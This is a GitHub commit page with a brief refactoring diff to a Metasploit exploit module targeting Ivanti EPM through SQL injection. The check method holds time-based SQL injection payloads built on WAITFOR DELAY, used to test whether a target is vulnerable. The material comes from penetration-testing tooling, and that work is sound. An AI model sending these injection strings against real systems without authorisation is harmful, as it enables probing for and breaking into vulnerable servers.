Skip to content

Commit 2f238fc

Browse files
Code review
1 parent ecb628e commit 2f238fc

File tree

1 file changed

+2
-10
lines changed

1 file changed

+2
-10
lines changed

modules/exploits/windows/http/ivanti_epm_recordgoodapp_sqli_rce.rb

Lines changed: 2 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Remote
77
Rank = NormalRanking
88

99
include Msf::Exploit::Remote::HttpClient
10-
include Msf::Exploit::FileDropper
1110
prepend Msf::Exploit::Remote::AutoCheck
1211

1312
class IvantiEpmRequestError < StandardError; end
@@ -92,20 +91,13 @@ def soap_request(sqli, timeout = 20)
9291
res
9392
end
9493

95-
def elapsed_time(&block)
96-
time1 = Process.clock_gettime(Process::CLOCK_MONOTONIC)
97-
block.call
98-
time2 = Process.clock_gettime(Process::CLOCK_MONOTONIC)
99-
time2 - time1
100-
end
101-
10294
def check
10395
print_status("Checking if the target is vulnerable using time-based SQLi (delay=#{datastore['DELAY']})")
10496

105-
elapsed1 = elapsed_time { soap_request("';WAITFOR DELAY '0:0:0';select 1--") }
97+
_res, elapsed1 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:0';select 1--") }
10698
vprint_status("Baseline query elapsed time: #{elapsed1}")
10799

108-
elapsed2 = elapsed_time { soap_request("';WAITFOR DELAY '0:0:#{datastore['DELAY']}';select 2--") }
100+
_res, elapsed2 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:#{datastore['DELAY']}';select 2--") }
109101
vprint_status("Delayed query elapsed time: #{elapsed2}")
110102

111103
if elapsed2.to_i > elapsed1.to_i && elapsed2 >= datastore['DELAY']

0 commit comments

Comments
 (0)